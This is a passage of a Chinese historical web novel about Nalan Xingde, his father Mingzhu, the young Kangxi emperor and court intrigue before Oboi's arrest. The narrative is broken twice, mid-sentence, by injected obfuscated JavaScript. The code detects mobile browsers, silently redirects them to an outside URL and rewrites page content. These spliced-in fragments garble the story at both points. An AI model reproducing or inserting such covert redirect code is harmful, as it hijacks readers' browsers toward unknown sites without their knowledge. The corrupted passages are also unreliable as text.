“儿倒是想住在田园,看五柳先生之菊和共王孟之乐,可是时局由不得由不得你我父子想走就走,再说,走后……就不会被有心人清算了吗?” “如今是在铲除鳌拜的关键节点,皇上怎么能威胁你?” “要是皇上的话能叫阿玛受用,那儿觉得皇上也没做错什么。” 明珠骨气铮铮道:“皇上上哪里去找像你我父子这样的‘奴才’?在大清,人人都是皇上的奴才,可是你我父子对皇上——只有君臣之敬,而无奴颜媚骨!” “阿玛您靠才学和本事晋升的确是胜过了大多数朝臣,但是人心不可能一成不变,切记:要多自省,将来掌权把持朝纲之事,适可而止就好。” “你老实告诉阿玛,皇上对你做了什么?” “此前,似醒非醒之间,从郎中口中听得:天心不可问,清泪近黄昏【注1】。阿玛不解其意,儿也似懂非懂,可是今日见过皇上之后,儿却是什么都明白了。” “难道你的意思,是想对阿玛说:‘天心’即天子之心,‘黄昏’一语双关,即是指阿玛年纪渐大,又是指你自己人生矣矣?” “君叫臣死,臣不得不死。”容若的神情,不是无奈而是清然,“所以纳兰父子,要做好‘成于君、也败于君’的觉悟啊!” 明珠只觉得一股刺骨寒意袭身,周身的炭盆暖意尽散。 他握着儿子的手道:“容若,阿玛不是像索额图那般的‘丢子保己’之人,所以你放心,阿玛必不会连累于你。” “即便是皇上亲政以后,别有用心地要利用你来制衡阿玛,让你陷入两难,阿玛也觉得不会让你为皇上所伤害、所迫杀。” “你是阿玛的亲骨肉,是一块阿玛放在手中都怕化了碎了的美玉,”明珠拉过儿子,“莫说是皇上,即便是乾坤定势而来,阿玛也会反了天道护你周全。” 容若露出一个微笑,“儿相信阿玛。” “好。”明珠宽慰道,“不说这些了,吃饭吧!你喜欢吃素食,阿玛叫厨房去准备了一些山珍,你看看合不合胃口?” 容若优雅地拿过小火温着的茶壶,给明珠斟了一杯菊花茶。 “阿玛用心为儿挑的食材和准备的汤底,又怎会不合儿的喜欢?多谢阿玛。” 明珠端起菊花茶,不由得在心中佩服起儿子的话术来: ——用心跟有心,是截然不同的情份之词。 ——换个表达,应是:“阿玛若是有心,不会不知道儿钟爱吃什么。” ——喜欢跟心意,亦是有所区别。 ——容若巧妙传达了态度:“合儿子的喜欢,不等于中儿子的心意,但是儿子心存谢意。” 淡饮菊花茶,容若道:“许是在小亭台中吃火锅的缘故,心情和心境格外不同,回去后要写一首词为念,正在想用哪个词牌名好。” “《采桑子》你用的多。” “阿玛知道?” “怎么,不晓得阿玛也是你的词的读客和鉴客吗?读过后,都记在心中,常常再温、尝尝再品。” “那就用《采桑子》。” 是夜,回房之后。 明珠盘腿坐在窗边的双人榻上,看着空无一人的室内。 心想:朝中暂闲,但是心绪不闲,自己照着太皇太后的意思,先一步密训过的十几个精干八旗子弟,已经正经整装待发,明日就可去到皇上身边。 家里中少了夫人,枕边无人,寂寞倒是真的寂寞。 但好在是自己跟儿子的关系恢复了常态,见儿子少了些伤心的时间,多了些上心国家大事的样子,就已然是可喜可贺。 明珠打开小香鼎,用香拨挑了挑儿子亲手做的纳兰香。 后,他作诗一首: 餐香可并凌波香,春风未至花先发。 人间身在萧瑟中,白多红少不见沙。 撤炉罢饮深夜后,更记一语是牵挂。 叹得夜夜云兼月,东风不解玉自华。 【注1】天心不可问,清泪近黄昏。见第15、16章。 24.第24章 书房中。 十几个精干的八旗子弟随着一个一等侍卫前去参见皇上。 明珠全程没有露面,只是把事情交给信得过的人去办。 他这么做的用意,第一是避嫌、第二是以防擒贼之事露马脚、第三是让这一行人更有小打小闹的直感,避了外头的猜。 一等侍卫道:“奴才图尔深参见皇上,皇上万岁万岁万万岁。” 玄烨把装着菩提子的盒子放到了一边,准了图而深起身说话,问:“你来找朕有什么事?” 图尔深看了一眼身后的八旗子弟们,回应皇上道:“奴才领了一众与皇上年纪相仿的八旗子弟过来,陪同皇上一起习武摔练。” “好!”玄烨兴奋道,“朕也是许久未曾活动活动筋骨了,但那也是叫纳兰给误的。跟纳兰一起,就只会干些诗词文章之事,无趣……” 此时的纳兰,正站在那幅大型地形图后面,心中苦笑: 臣什么时候误了皇上?骑射摔打的功夫,臣又不是不会。 皇上什么时候无趣过?臣看皇上跟臣一起的时候快意的很,还多培养出来了一番拔剑相杀相指的乐趣。 那些年轻的八旗子弟一并参见皇帝,单膝跪地道:“奴才等恭请皇上调遣!誓死效忠皇上!” 玄烨故意问了他们一句糊涂话:“你们是怕朕?还是怕鳌拜?” 那些八旗子弟齐声道:“奴才等怕皇上,一切听凭皇上吩咐。” 玄烨大喜,对顾问行道:“顾总管你听见没有?同样的君威面前,这些功夫好的八旗子弟绝对服从朕意。相反纳兰,朕说一句话,他能犟嘴十句不中听的,要不是朕大度,早治他大不敬之罪了!” 顾问行赶紧圆场道:“万岁爷,您刚才不是说了吗?跟纳兰公子在一起的时候多是舞文弄墨,纳兰公子多少改不了那一身风骨,哪能有这些自小习武之人爽快呢?” “朕不说纳兰了。”玄烨大手一挥,“顾总管,你去给朕准骑射衣装,朕现在就出去练武!” 等玄烨等人都离开后,书房就只剩下纳兰一人。 纳兰走到桌案前,打开那个玄烨原本藏着不让他看的盒子来看。 细细一数,里面的金刚菩提子正好是119颗。 ——119颗菩提子,是我的生日,一月十九日。 ——每颗菩提子有十四瓣,寓意是:无病息灾、平安顺遂。 纳兰心中欣喜。 但是太早知道皇上的心意,等到这份生辰礼物到手的时候,是不是会少了几分惊喜的反应? 纳兰把盒子恢复原样,放回了原位。 然后,他走到大型地形图的正面,端雅地仰头凝视,心中琢磨着皇上设置这东西的寓意。 终于,他看清了一条贯通南北的大型河道、看清了分布在西北滇南中原京师的天下粮仓、看清了边卡松弛的夷族异族的割据范围…… 他禁不住拿起了桌面上的布阵点石、设卡竹签、要塞毫羽,沾胶放置在要紧的地方,一边思量一边在心里道: “漕运之弊,关乎国泰民安,民无食则易乱,民乱起江山不稳,故而应在年后尽快着手去办;运河之难,难在前朝就已经积弊,开疏畅流非一年半载能成,而兴工事则劳民,劳民必然伤及国家财政,故而此重任非能臣所不可担。” “瞒粮补虚之苦,官官相护,守口如瓶,受苦之众敢怒不敢言,故而应在整顿吏治的基础上,彻查国之大账、同查地方之小账,唯有账目清明,才能谈得上朝廷所发放的军饷河粮资都落到了实处。” “还有三藩,必将成为皇上的肉中刺,此事不可光靠军事行动去解决,还要有懂人心和擅话术之人介入才行……” 想到这些,纳兰坐到了书房的侧座之后,提笔写下一道折子,未署名字,放在了玄烨的桌案上。 他心想,皇上总归认得出我的字,不写名字也罢。 只要所言之策有利于皇上,我就是在尽陪臣之职,事后会不会被挑错、会不会被指责,都无所谓。 ——为君献策,不等于刻意干政,皇上你说是吗? ——臣之所言,心怀天下,绝非一己一面之私见,希望皇上明鉴明辨。 * 另一边,武英殿外。 玄烨摩拳擦掌,一一与那些被挑过的八旗子弟交手。 他叫那些同辈不要让着他,要拿出真本事来与他对战;他叫那些同辈暂且不要把他当作皇上,要发挥最大的能耐来与他对擂;他叫那些同辈不要有所保留,要动真格来与他对打。 那些八旗子弟怎敢不听玄烨的话? 个个轮番上阵,全都跟要考武状元似的,跟玄烨单挑起来。 只是谁的手中都没有携带兵器,而是赤手空拳、实打实的交锋。 玄烨明显知道自己不如他们,但是在胜负之间,他仿佛看到了来日鳌拜倒台的大快人心的局面,所以他很兴奋。 都说人在兴奋的时候容易轻敌,但是玄烨不一样。他掌握了一定的应战规律和技巧之后,就开始反败为胜,到了最后,已经可以自己推断出对方的招数来了,只需三五拳脚,就将对方制伏在地,耗时亦是越来越短。 整个过程下来,玄烨最大的感受就是: 以少胜多的关键,就在于自己看透了对方的斤两和招数,所以擒拿鳌拜之时,众八旗子弟齐上阵之时,绝对不能让他看破套路,否则凭他那副“满清第一巴图鲁”的蛮牛劲,很快就能冲破禁锢,扭转局面。 一击事成的要点,就在于让鳌拜没有反击的余地。无论是说辞、体力,还是名堂,都要让鳌拜自己认栽、认罪。 当然了,鳌拜擒拿下来之后,不可立刻诛杀,否则那些还记得鳌拜对大清的功劳的臣子,就会认为朕是个忘恩负义之人,从而不敢百分百效忠于朕。因此,应将鳌拜禁锢至死,才为上策。 玄烨点评了一番那些陪练子弟们的功夫,又对他们叮嘱了一番要改进之处以后,就决定回书房去歇着。 * 路上,玄烨才对顾问行说完“朕中午不想跟皇后一起用膳”,就在书房门口看见了跪地求见的索额图。 于是,玄烨上前冷问:“索大人,你在家里呆久了,可是觉得这冷天的霜雪味都格外好闻?” 索额图道:“臣早已痛改前非,此次前来求见皇上,就是为了证明自己的忠心,携带三五精锐,誓死相助皇上成就捉拿佞贼之事。” 玄烨并未领情,“你和明珠都说自己忠心,都说是站在朕这一边,那朕该相信谁?” “证明明珠是否效忠皇上简单,只要把他的儿子纳兰性德扣押起来当人质,皇上还怕擒贼当日,明珠不全心全意地为君吗?至于臣,臣早就给自己断了后路,事成就继续效忠皇上,事败就自请殉国。” 玄烨“哼”了一声,沉沉道:“殉国?你当鳌拜没拿下,朕的江山就要亡了吗?你那些混账之语,要不要朕现在就传了纳兰父子过来,亲耳听听纳兰父子是怎么看待你?是怎么记恨你?” “臣没有失言!”索额图拿出了大无畏的勇气来,“纳兰性德和官云辞格格之间,互唱反调,一不嫁一不娶之事,闹的是宫墙内外人尽皆知。然而,明眼人都知道,越是相怼相拒的话,就越表示纳兰和官氏爱的深。” 索额图抬头挺胸地强调:“官云辞是鳌拜的堂侄女,难保纳兰性德不会为了她而倒向鳌拜、叛变于皇上!所以臣才建议将他扣押,一来可以防止他破坏皇上的大计、二来可以正向窥测明珠的为人。” “说完了吗?”玄烨的目光自上而下地落在索额图身上,“你只需为朕出力,其他之事一律不用你自以为是地发表意见给朕听。” 索额图冷汗透背。 “出力”的意思,就是皇上并不完全信任于他。倘若皇上对他没有芥蒂,就会大大方方地说出“效力”一词。 别看二者只有一字之差,区别可大的很: 出力者无需自主筹谋,只需听从皇上安排;效力者可以明暗相助,帮皇上或者配合皇上于无形,可谓是君臣并肩作战。 “回皇上,臣要说的都说完了。”索额图朝玄烨一拜,“句句真言,没有不是为皇上考虑的。” “那朕就给你一份差事。”玄烨一挑眉,“吏部之事你不必管了,就做朕的一等侍卫,带着你所说的三五精锐,给朕护驾!” 索额图心中自然是不满,身居吏部可以大捞油水,屈做侍卫只能受制于皇上,简直是云泥之别。 但他还是接受了任命,对皇上道:“臣必定继承阿玛索尼的遗志,为皇上赴汤蹈火,誓除佞贼!” “索额图。”玄烨对其冷眼一扫,“照朕看,你不必口出继承遗志之言,只要你把心术摆正,你阿玛索尼自然会含笑九泉。” “敢问皇上,臣的心术如何不正?此前害纳兰父子之事,皆是逆子阿尔吉善所为;当下敢疑纳兰父子,皆是因为臣忠君忠国。臣任吏部官僚以来,尽心尽力考核官员,使朝廷满汉一家、文武同车,不但让皇上无忧、更让太皇太后无忧,臣如何心术不正?” 顾问行替皇上应道:“索大人,说句不好听的,万一阿尔吉善死在流放途中,得知你这个做阿玛的把一切罪过都推在他身上,恐怕是不肯改过成佛、也不肯怀怨下地狱,会夜夜入梦去找你要说法。” “这么一对比,奴才以为:纳兰父子比你们赫舍里父子,不知道要高尚多少倍!”顾问行看向玄烨,“万岁爷,您说呢?” “顾总管说的不错。”玄烨厌恶地看着索额图的嘴脸,“你利用身居吏部之便,以权谋私,迫害异己,逆朝纲去做权驭官职买卖之事,论罪当革职论处!要不是看在索尼和赫舍里皇后的份上,朕早就——” 索额图正要狡辩:“臣——” “住口。”玄烨怒断,“你退下吧!” “是,臣告退。” * 沈宛坐在客栈二楼的临窗一角,托腮看着窗外。 天空灰蒙蒙的,不见得能收雪变晴。倒是街上行人的讨价还价声,透露出年味的渐近,是到了纳福迎新的时候了。 听了师傅宋应星的话, 沈宛近来并未主动寻机去跟纳兰公子相见。 当然,沈宛没有糊涂到: 豁出去、凭借一身功夫潜入皇宫去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281305|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刺探情报的地步。 万一自己在未与师傅商量、且未经师傅同意的情况下,冒然行事被抓,那肯定得自己承担一切后果。就算是有幸得纳兰公子相救,心中也是过意不去的,让纳兰公子费神费心,不是自己所愿。 说是刺探情报,但更多的也是关心纳兰公子的安危。 她想知道……在宫中的纳兰公子是什么样的。 听字画店的周老板说,皇上恩准纳兰公子穿私服伴驾,是曹寅和禹之鼎都没有的殊荣。 当时沈宛就觉得: 原来自己、皇上、百姓看到的纳兰公子的神采和装束都是一致的,就是公子平日里的样子,算不算是一种天然巧合? 公子自身,好似也曾未有过出身高贵的架子,只是自带着一身与生俱来的华美,将此生散入了尘世间。 周老板还说,纳兰公子挑选字画和其他珍品,跟别的买主不一样。 “我做这档营生这么多年,曾未听过有买家说:‘真假不重要,重要的是画这幅画、做这个东西的人,他的内心在向往什么。如果是不得志而沦落为出赝品、制仿品的地步,那么我想那样的人不应该受到责备。’我当时惊然,又问公子:‘要是公子自身的诗画作品被仿了呢?’你猜公子怎么答——” “这我哪知道呀?”沈宛很感兴趣,“我又不是纳兰容若。” “我拿出了几幅公子的字画的仿品给公子看。不想公子对那些画都很尊重,他会把一个小细节夸出来,也会把一些缺点指出来,唯独不会:自诩厉害,仿品无光。” 沈宛在心里赞叹道:公子不但词品好、相貌好,人品也是真正的极好! 周老板把纳兰公子的原话告诉了沈宛: “画无好坏,墨入纸间,就是跟纸结缘。” “缘分里有执念,有超脱,我的原画能被欣赏、被模仿,便是仿品与我之间的再度结缘,我珍惜每一段缘分,故而我不会觉得仿品无价值。” 听完,沈宛肃然起敬道:“世间再无第二个纳兰容若。大清文坛画坛,也再无第二份似纳兰容若的心态的人。” 后来,沈宛问了个问题:“不过周老板,你是从哪里弄来纳兰公子的仿品诗画的?” “是一些仰慕纳兰公子的人送到我这里来的。”周老板大方一笑,“有纳兰公子的金言在前,我岂有不收留那些仿品之理?当然了,我是不会卖那些仿品的。” 思绪回到当下。 沈宛翻动着小烤炉上的白年糕,甚是想再多从周老板口中听到“跟纳兰公子相关”的事。 好像……只要说出公子的名字,只要听到公子的事迹,就一切都“自带了暖意”一样。 那份如春风拂面一般的感动心情,是无法停止、无法回避的呀! * 却说那日—— 索额图到后宫去见了赫舍里皇后,没得到侄女的宽解也就罢了,反而被侄女说了一通理儿: “叔父,我阻止不了你斗明珠,但是请你好歹为赫舍里一族想一想,斗垮了明珠又能如何?” “来日我诞下子嗣,你的地位依旧稳固,把心思都花在龙嗣身上——如果是皇子,就教导他好好学习骑射功夫和大学中庸之道;如果是个公主,就教导她出落的美丽大方和为她安排一桩好姻缘。何必只顾着眼前利益,跟明珠不休止地明争暗斗?” “你说的简单。”索额图警醒赫舍里皇后道,“明珠那只老狐狸要不是没有女儿,夫人觉罗氏所出三个皆是儿子,那他早就该动让女儿入宫为后的心思了,哪里还轮得到你呢?” “我早知道自己的婚姻是一场政治交易,所以皇上怎么对待我我都忍了,只告诉自己:真心对待皇上的话,也会被皇上真心对待。” “明珠如今想方设法地把纳兰惠儿打造成像纳兰性德那样的无瑕品,为的就是把一儿一侄女安插在皇上身边,前朝后宫无缝相接,了解皇上的一举一动。” 索额图继续摊牌道:“你说我为了弄权而不折手段我认,但也不见得明珠就光明磊落。哼!等到纳兰惠儿进宫,赫舍里,你就不可能再过上现在这样的平静日子了。” “皇上真的喜欢嫔妃吗?或者说后宫未充实到一定规模之前,皇上真的对后宫的女子感兴趣吗?”赫舍里皇后有些无奈,“我看皇上在乎的东西无非是三样:天下、皇权和纳兰公子。” “你知道就好。”索额图肯定道,“皇上作为一国之君,不像先帝顺治爷那般痴情,这是好事。至于纳兰性德,迟早会比明珠、比皇上先死!” 看着索额图那阴险的嘴脸,赫舍舍皇后不想再多说什么。 “你不要怪我嘴毒,父债子偿的规律自古就有,放到朝堂之上,那就是:领个迫杀的死罪也天经地义。” “且不论纳兰性德日后怎么死,就论他的表妹纳兰惠儿,直接叫你用计害她自然是不成,但是教你耍点手段害了她腹中的孩子、让她无法母凭子贵,叔父我倒是有几招!” “放肆——!!” 赫舍里皇后对着索额图一喝。 这样龌龊的、狠绝的、没人性的话叔父都说得出口,简直是丧尽天良。 25.第25章 慈宁宫。 纳兰父子匆匆而往,不知孝庄太皇太后因何事召见。 孝庄叫苏麻喇姑把折子拿回纳兰性德面前,道:“你的见解不错,但是见解过高,就等于是左右皇上了你知道吗?你说这是什么罪?” 虽不知道折子怎么到了孝庄手里,但容若冷静道:“谋高盖主。当囚。” 明珠大惊,要是:功高盖主,那岂非当斩? 不知道儿子又写了什么“了不得”的东西出来,他只得向孝庄赔罪道:“明珠管教容若不周,请老祖宗恕罪。” 孝庄客观道:“你有个好儿子是大清之幸,我亦是个惜才之人,所以才把你们父子一同叫来。” 明珠拉了容若一起下跪,道:“臣与容若一同听老祖宗教诲。” “一幅地形图就能让你琢磨出诸多端倪来,纳兰性德,你当真是文韬武略兼得的全才。” “臣不敢以此自居,只是觉得有必要把自己的想法写下来供皇上圣阅。除此之外,没有别的用意。” “你要是有别的用意,我也不饶你。” 孝庄说出了自己拿到折子的经过: “今日是你阿玛特训的八旗子弟进宫给皇上做习武陪练的日子,我想着皇上活动身手过后,一定累乏,就叫了苏嬷嬷准备了补汤和点心一同放进食盒,带着到书房去等候皇上回来。” “进去之后,一眼就看到了那道折子。等到打开看,马上就辨认出了是咱们‘满清第一大才子’纳兰性德的字迹。当时我就想,你可真大的胆子:献策不留名,是为自大;献事关大清江山和时局之策,是为狂妄;擅自为皇上出谋划策,是为居功。你说,这三条大罪足不足够囚你?” “足够。”容若承认,“但是臣认为:君臣之间应当交心,自己心里有想法,就不应该瞒着皇上。” “你那不叫想法。”孝庄神色之中掠过一闪的怒,“而叫做国策!” 明珠保护儿子道:“臣斗胆,求老祖宗看在折子上所言应该都是中肯之见的份上,饶过容若这回。” “明珠,你说得好。”孝庄道,“你的儿子写给皇上看的东西,的确是字字珠玑。怕是连我和议政王大臣会议的那些重臣们看了,也要甘拜下风。” “容若无自命不凡、才比天高之心。”明珠俯首道,“如若他那些国策有利于大清,只是不合‘在其位、守其份’的规矩,那臣愿意跟他一同扛下这份盖主之罪,自请父子二人居家不出三个月。” “我在问你的儿子。”孝庄施压道,“纳兰性德你自己正面回答我。” “是。”容若耿直道,“臣除了从地形图中看明白了许多东西之外,还有一事想跟老祖宗当面说。” “只能对我当面说?”孝庄问,“什么事?” “擒拿鳌拜之后,需扶正和均衡八旗之间的利益,尤其是两黄旗和两白旗,此事关乎皇上新政能否减轻内部阻力。臣请老祖宗出面干涉。” “来人,即刻把纳兰性德带到侧暖阁去软禁。”孝庄站了起来,冷声道,“没有我的命令,任何人不准见他,也不许他见任何人。” “除鳌拜之后,有诸多事情需要善后,如果老祖宗愿意出面介入和定夺那些——皇上凭借自己的资历做不来的事情,那臣领什么罚都愿意。” 容若在自己这句话的回音之中,被带出了殿内。 他没有什么剧烈的情绪,也没有控诉自己冤枉,只在心中认定:老祖宗这么对待自己,一定有老祖宗的道理。 孝庄接过苏麻喇姑递来的参汤养了养神。 “明珠你说,你儿子的那些献策,要是都被皇上看进去了,思量之后一一照做,会是什么后果?” 明珠不语,等着孝庄继续往下说。 “起到了成效就罢,但要是触动了不该触动的利益关系,像是:亲贵王爷、民间势力、江湖盟派,该如何收场?是杀你儿子一个人可以平众怒的吗?” “臣……”明珠吐露实话道,“只能说方才看过容若写的折子上的内容之后,自愧身为朝臣,也不如他有那份为国为民之心啊!” “如果这都有罪,那对容若不公,对还未看过折子的皇上也不公。”明珠诚恳道,“所以臣对这样的儿子,责备不起来。” “我也舍不得罚他。”孝庄说出了本意,“但是让你儿子在我这避几天风头,对他没坏处。” “臣明白老祖宗的心思,都是为了容若好。” “今年皇上写‘岁末把笔’的时候,我准了纳兰性德陪在皇上身边吧!” “谢太皇太后。” “你们夫妇也一并进宫,一家人要离的近才好。年夜饭我做主,让你们一家子留在宫中吃。” “臣谢太皇太后大恩!” * 等到明珠离开以后。 苏麻喇姑给孝庄捶着肩膀,道:“老祖宗,您这般用心良苦地保护纳兰公子,奴才就怕皇上不解,反而跟您生气啊!“ 孝庄早有先见之明: “对内,皇上要复翰林院、要组内阁,朝中早已议论纷纷。如今对外,一张地形图不但彰显出了皇上的野心,更是挑起了纳兰性德的国策之心,我要是不赶在皇上施策之前先‘处置’了纳兰性德,难道等着纳兰性德被群臣处置吗?“ “老祖宗说的是。“苏麻喇姑温声道,”纳兰公子人好心正,最是被朝中的那些保守派和激进派容不下,还是需要您替皇上担着他的。” “我也是把纳兰性德当作孙儿来疼的,体罚他,哪一次我是过意得去的?还好这孩子体谅我,没跟我抱怨过一句苦楚。” 孝庄感到欣慰。 “那老祖宗,纳兰公子写的那份折子,要拿给皇上看吗?” “等皇上除了鳌拜之后,我自然会选了时机给他看。事分轻重缓急,一件一件来,要是件件都想着凭借少年的心力来完成,来迅速打响自己的君威,可能吗?” “奴才看,纳兰公子是知晓提醒皇上这点的,只是皇上正处在意气风发的浪尖上,才想着多线并行。” “苏嬷嬷。”孝庄拉她坐下,“要是我说,等到纳兰性德考取功名以后,我只许他做皇上身边的帷幄之臣、而不许他当站在朝堂上的指点江山重臣,你会觉得我自私吗?” “怎么会呢?”苏麻喇姑体谅道,“父子同朝为臣,必遭大难。像是先例:贺若敦和贺若弼、李晟和李愬……不见得下场就好。” “是啊。”孝庄目光悠长,“到了玄烨这一朝,我希望纳兰父子的是非自得公论,而不是只化作史书的草草几页,真伪相悖。” * 次日,上午。 知悉纳兰被孝庄软禁在慈宁宫侧暖阁,玄烨是火冒三丈。 之前他从索额图口中听得了“把纳兰扣押起来当人质”这句话,难免不怀疑到索额图头上。但是擒拿鳌拜之前,对索额图大动干戈也不妥当,会叫人觉得皇帝心智不成熟,那就更难集权了。 于是,他怒气冲冲地去了坤宁宫,把火气都出在了赫舍里皇后身上。 玄烨当着赫舍里皇后的面,“砰——”的一声,摔翻了侍女刚刚端上来的茶。 “是不是你的叔父到皇阿奶面前去进了关于纳兰的谗言,你老实告诉朕。” “臣妾不知道。” 玄烨阴沉着脸,“不知道?你回话倒是快。索额图来见你,跟你说了什么?” 赫舍里请罪于玄烨面前,“叔父说了一些大逆不道的话和天理难容的话,臣妾已经当面训斥和端正立场于他了。” “你是认了索额图要害纳兰之事了吗?”玄烨盯着一地的茶盏碎片,“既然是些丧尽天良的话,为何你不先一步汇报于朕?” “叔父口中的那些伤天害理的话,不是针对明珠家的大公子说的,而是——” 赫舍里欲言又止,心中苦闷的无以复加。 一面是叔父的无状,另一面是皇上的颜面,都像是两块大石头一般:重的很,压的她喘不过气来。 “而是什么?朕叫你说你就说!” 玄烨胸膛起伏,怕自己再是一怒,会扫掉桌面上的花瓶。 “是纳兰惠儿,纳兰性德的表妹。叔父记恨她参加选秀之事,扬言不让她在宫中好过。可是这一切,都是因为臣妾是中宫皇后,才会使得叔父深陷误途,请皇上原谅。” 玄烨一下子想起来了,那个自己在明珠府邸惊鸿一瞥的女子。 他说不上对纳兰惠儿有什么感觉,只是简单地把她定义为:纳兰性德身边的女子,料想也是美貌与才华双修。选秀之日,留去再做定夺。 见皇上没有说话,赫舍里皇后又添了番惹君怒的话: “臣妾有所听闻,皇上常去明珠大人府邸探望纳兰公子,而纳兰惠儿作为待选秀女,易与皇上事先接触,不合祖制。臣妾请皇上珍惜自己的名声,不要动辄前往明府。” “好啊!你干涉起朕的行动来了。”玄烨冷笑,“你是为了朕的名声,还是为了自己的名声?什么纳兰惠儿朕不知道,你和索额图如今是对明珠的家人一个都不放过吗,嗯?” “臣妾没有。”赫舍里皇后正色道,“臣妾尽中宫之责和母仪天下之责,无愧于天地,无愧于皇上。” 玄烨一步一步走到皇后面前,厉目瞪着她: “以后你要是照着索额图的劣根性和卑鄙性来统治朕的后宫,还如何了得?还不如朕先一步—— 玄烨还没有说出“废后”二字,顾问行就先一步道: “万岁爷,仔细地上的尖片儿伤脚。” “奴才看纳兰公子只是在慈宁宫的侧暖宫内失去自由,还未到严刑拷问的地步,可见不是犯了什么十恶不赦的大罪。您与其在这儿质疑皇后娘娘,还不如传了索额图进宫,一并到太皇太后面前去对质,看看纳兰公子究竟是错哪了?” 玄烨并未因为顾问行的话,而对赫舍里皇后让步。 “皇后,你这是什么意思?敢用这种眼神看朕!” “皇上才是,回回自以为是把火气撒在臣妾身上,臣妾倒想问问皇上:是不是想让纳兰性德专宠君侧、纳兰惠儿冠宠后宫?” “一个还没有进宫的人,就能这般挑起你的嫉妒心!”玄烨指着赫舍里,“你看看你现在的样子,跟索额图搬弄是非时的样子有何区别?朕不想后宫不宁、而今搞的前朝不安!” “臣妾自问从来不是皇上想象的那种人,如今皇上却是处处指向臣妾,让臣妾的心……伤透了。” “朕没有专宠纳兰性德!” 玄烨把一只手背在身后,掌心里握着一颗十四瓣的金刚菩提子。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292074|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“朕数次想杀他、恨不得把他的才华占为己有彻底葬送了他,可他从来没有畏惧过朕。这样的忠臣,朕留他在身边,哪里错了?” 赫舍里试图让玄烨放下对她的戒备,对玄烨坦诚道: “臣妾承认:是怕纳兰父子怕纳兰惠儿都绕在皇上身边、让皇上错失了判断,但是臣妾可以发誓,自己从未生过害人之心。为了皇上,臣妾只想劝叔父索额图收手、而不是助纣为虐。” 玄烨回到椅子上坐下。 顾问行赶紧使了眼色,让下人们去打扫一地的碎片。 “赫舍里,朕是位明君。”玄烨气场十足道,“会稳住前朝的朝纲,也会盯着后宫的安宁看。如果日后你有失坐镇中宫的凤仪,朕就——” 顾问行又一次在“废了你”三个字被玄烨说出口之前,对玄烨劝道: “万岁爷,奴才看这天色是渐浓了,不如赶在掌灯之前去给慈宁宫的老祖宗请安,老祖宗定是挂念着皇上的。” “顾总管,朕看你是越来越懂得寻找时机来阻断朕要说什么话了!” 顾问行低头:“奴才不敢。” 玄烨冷讽道:“那不如朕给了你一份‘敬事房总管’的差事去当,不必苦着累着、提心吊胆地做朕的近身大太监了。也好叫你替朕看看,皇后治理六宫是否公正无偏、多子多福。” 顾问行一跪,表忠心道:“奴才一辈子伺候在万岁爷身边!” “起来!”玄烨扬手,“朕去回养心殿。” “是。” 顾问行看向皇上走在前头的背影,猜到了皇上掌心握着什么东西,去养心殿要看什么东西。 * 觉罗氏经过一段时间的住寺祈福,圆修有成。 她所祈盼的是,是:明珠步步高升、前路不遇小人;容若身体安好、名声满天下;惠儿余生安稳、深宫亦绽香。 对了,觉罗氏还有两个小儿子,她盼着揆叙和揆方在别所健康成长、在将来齐名长兄容若。 除开这些,觉罗氏亦为纳兰一家诚心诚意地抄写了多部经书,希望纳兰一家: 常得神明保佑,一切灾厄都化险为夷; 常有福气相伴,一切尘垢都随风远离。 “济国寺”的方丈妙觉禅师告诉她:“纳兰公子喜欢菩提子,一生与菩提子结缘,老衲供养了金刚菩提子一盒,请夫人带回府中,交由公子保管伴随,定是可助公子逢凶化吉、年华安然。” 妙觉禅师复提醒觉罗氏道:“老衲悉闻纳兰公子体寒少汗,而菩提子,正是经不得油汗之物,因此公子盘玩正好。” 觉罗氏做为容若的额娘,自然是格外关心他。 她从妙觉禅师的话中听出了弦外之音,遂问:“方丈,容若体质如此,该如何是好?” 妙觉禅师双手合十道:“和养为上,顺气为中,奔波为下;唯恐病重不汗,难回天命。夫人切记:莫让公子南征北走,历经风霜;莫让公子心绪偏多,难解难消;莫让公子不顾自己,成人之美。” 觉罗氏心中有数,谢了妙觉禅师道:“我自当提醒容若。” 妙觉禅师看着觉罗氏远去的背影,自语道: “夫人归途顺利。” “纳兰公子心有菩提,又是个慧根长存之人,理应长寿才是啊!” * 明珠府邸。 月明星稀,是夜无雪。 清晖照帘,帘开而馨香来。 觉罗氏吩咐厨房做了一桌丰盛的饭食出来,只等夫君明珠和爱子容若归来,好一家人团团圆圆地吃饭。 结果,却只见明珠一人伶仃策马而返。 觉罗氏朝明珠身后左右一看,难以置信地问:“老爷,咱们儿子呢?” 明珠拿下顶戴,不是走向饭厅而是走向了房间。 关上了房间门,更换便服后,明珠回应夫人道:“被老祖宗软禁在慈宁宫的侧暖阁。” “怎么回事?” “咱们儿子出息了,写了道论国策的折子出来,堂堂放在皇上书房的桌案上。” “这有什么不妥吗?” “要是看到这道折子的人不是老祖宗,或者说,要是哪个当差的小太监把这道折子私盗了出去,拿给朝中那些不安份的大臣看,得闹出多大乱子来?” 明珠用指关节敲了敲了桌面,“咱们儿子的书法,即便是不署名,还有谁不认得吗?” 觉罗氏不解:“既然如此,容若不至于那么不谨慎啊……” 明珠叹了一口气:“我倒是想知道容若放下那道折子后,书房里发生了什么事。” “那老爷你怎么不问?” “我接到老祖宗的传召后就立刻去慈宁宫了,在宫门口才看见一样前来的容若,哪有时间问?何况周围都是守卫,我也不方便问啊!” 